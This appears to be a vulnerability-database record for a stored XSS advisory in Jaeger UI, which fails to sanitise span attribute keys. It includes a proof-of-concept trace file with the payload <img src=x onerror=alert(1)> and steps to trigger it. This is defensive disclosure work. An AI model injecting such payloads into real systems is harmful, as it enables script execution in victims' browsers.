{"id":"GHSA-2w8w-qhg4-f78j","aliases":[],"status":"published","title":"A stored XSS in jaeger UI might allow an attacker who controls a trace to perform arbitrary jaeger queries","description":"Related UI vulnerability advisory: https://github.com/jaegertracing/jaeger-ui/security/advisories/GHSA-vv24-rm95-q56r\n\n### Summary\nJaeger UI is using the `json-markup` dependency to display span attributes and resources. This dependency is not sanitising keys of an object though, thus the `KeyValuesTable` is vulnerable to XSS. \n\n### Details\nThe vulnerable line is here: https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49\n\n### PoC\n\n1. Start a Jaeger UI\n2. Save the following trace as a file:\n```json\n{\n    \"data\": [\n        {\n            \"traceID\": \"076ef819cc06c45a\",\n            \"spans\": [\n                {\n                    \"traceID\": \"076ef819cc06c45a\",\n                    \"spanID\": \"076ef819cc06c45a\",\n                    \"flags\": 1,\n                    \"operationName\": \"and open 'attributes'\",\n                    \"references\": [],\n                    \"startTime\": 1678196149232010,\n                    \"duration\": 13485,\n                    \"tags\": [\n                        {\n                            \"key\": \"sampler.type\",\n                            \"type\": \"string\",\n                            \"value\": \"{\\\"\u003cimg src=x onerror=alert(1)\u003e\\\":\\\"test\\\"}\"\n                        }\n                    ],\n                    \"logs\": [],\n                    \"processID\": \"p1\",\n                    \"warnings\": null\n                }\n            ],\n            \"processes\": {\n                \"p1\": {\n                    \"serviceName\": \"click here\",\n                    \"tags\": [\n                    ]\n                }\n            },\n            \"warnings\": null\n        }\n    ],\n    \"total\": 0,\n    \"limit\": 0,\n    \"offset\": 0,\n    \"errors\": null\n}\n```\n3. Upload that trace to Jaeger UI in order to visualise it.\n4. Open the trace, open it's span's attributes.\n5. XSS should be fired.\n\n### Impact\n\nThis is a XSS on Jaeger UI. XSS can be used to run JavaScript.","severity":{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium","from":"ghsa"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2023-07-11T22:45:37Z","modified":"2026-09-10T03:49:42Z","fixes":[{"ecosystem":"Go","package":"github.com/jaegertracing/jaeger","fixed_in":["1.47.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/jaegertracing/jaeger","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.47.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/jaegertracing/jaeger","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.47.0"}]}]}],"references":[{"url":"https://github.com/jaegertracing/jaeger-ui/security/advisories/GHSA-vv24-rm95-q56r","tags":["web"]},{"url":"https://github.com/jaegertracing/jaeger/security/advisories/GHSA-2w8w-qhg4-f78j","tags":["web"]},{"url":"https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49","tags":["web"]},{"url":"https://github.com/advisories/GHSA-2w8w-qhg4-f78j"},{"url":"https://github.com/jaegertracing/jaeger","tags":["package"]}],"sources":{"ghsa":[{"id":"GHSA-2w8w-qhg4-f78j","title":"A stored XSS in jaeger UI might allow an attacker who controls a trace to perform arbitrary jaeger queries","description":"Related UI vulnerability advisory: https://github.com/jaegertracing/jaeger-ui/security/advisories/GHSA-vv24-rm95-q56r\n\n### Summary\nJaeger UI is using the `json-markup` dependency to display span attributes and resources. This dependency is not sanitising keys of an object though, thus the `KeyValuesTable` is vulnerable to XSS. \n\n### Details\nThe vulnerable line is here: https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49\n\n### PoC\n\n1. Start a Jaeger UI\n2. Save the following trace as a file:\n```json\n{\n    \"data\": [\n        {\n            \"traceID\": \"076ef819cc06c45a\",\n            \"spans\": [\n                {\n                    \"traceID\": \"076ef819cc06c45a\",\n                    \"spanID\": \"076ef819cc06c45a\",\n                    \"flags\": 1,\n                    \"operationName\": \"and open 'attributes'\",\n                    \"references\": [],\n                    \"startTime\": 1678196149232010,\n                    \"duration\": 13485,\n                    \"tags\": [\n                        {\n                            \"key\": \"sampler.type\",\n                            \"type\": \"string\",\n                            \"value\": \"{\\\"\u003cimg src=x onerror=alert(1)\u003e\\\":\\\"test\\\"}\"\n                        }\n                    ],\n                    \"logs\": [],\n                    \"processID\": \"p1\",\n                    \"warnings\": null\n                }\n            ],\n            \"processes\": {\n                \"p1\": {\n                    \"serviceName\": \"click here\",\n                    \"tags\": [\n                    ]\n                }\n            },\n            \"warnings\": null\n        }\n    ],\n    \"total\": 0,\n    \"limit\": 0,\n    \"offset\": 0,\n    \"errors\": null\n}\n```\n3. Upload that trace to Jaeger UI in order to visualise it.\n4. Open the trace, open it's span's attributes.\n5. XSS should be fired.\n\n### Impact\n\nThis is a XSS on Jaeger UI. XSS can be used to run JavaScript.\n","status":"published","published":"2023-07-11T22:45:37Z","modified":"2023-07-11T22:45:37Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:36:56.605555Z"}],"osv":[{"id":"GHSA-2w8w-qhg4-f78j","title":"A stored XSS in jaeger UI might allow an attacker who controls a trace to perform arbitrary jaeger queries","description":"Related UI vulnerability advisory: https://github.com/jaegertracing/jaeger-ui/security/advisories/GHSA-vv24-rm95-q56r\n\n### Summary\nJaeger UI is using the `json-markup` dependency to display span attributes and resources. This dependency is not sanitising keys of an object though, thus the `KeyValuesTable` is vulnerable to XSS. \n\n### Details\nThe vulnerable line is here: https://github.com/jaegertracing/jaeger-ui/blob/main/packages/jaeger-ui/src/components/TracePage/TraceTimelineViewer/SpanDetail/KeyValuesTable.tsx#L49\n\n### PoC\n\n1. Start a Jaeger UI\n2. Save the following trace as a file:\n```json\n{\n    \"data\": [\n        {\n            \"traceID\": \"076ef819cc06c45a\",\n            \"spans\": [\n                {\n                    \"traceID\": \"076ef819cc06c45a\",\n                    \"spanID\": \"076ef819cc06c45a\",\n                    \"flags\": 1,\n                    \"operationName\": \"and open 'attributes'\",\n                    \"references\": [],\n                    \"startTime\": 1678196149232010,\n                    \"duration\": 13485,\n                    \"tags\": [\n                        {\n                            \"key\": \"sampler.type\",\n                            \"type\": \"string\",\n                            \"value\": \"{\\\"\u003cimg src=x onerror=alert(1)\u003e\\\":\\\"test\\\"}\"\n                        }\n                    ],\n                    \"logs\": [],\n                    \"processID\": \"p1\",\n                    \"warnings\": null\n                }\n            ],\n            \"processes\": {\n                \"p1\": {\n                    \"serviceName\": \"click here\",\n                    \"tags\": [\n                    ]\n                }\n            },\n            \"warnings\": null\n        }\n    ],\n    \"total\": 0,\n    \"limit\": 0,\n    \"offset\": 0,\n    \"errors\": null\n}\n```\n3. Upload that trace to Jaeger UI in order to visualise it.\n4. Open the trace, open it's span's attributes.\n5. XSS should be fired.\n\n### Impact\n\nThis is a XSS on Jaeger UI. XSS can be used to run JavaScript.\n","status":"published","published":"2023-07-11T22:45:37Z","modified":"2026-09-10T03:49:42.501224921Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:34.700741Z"}]}}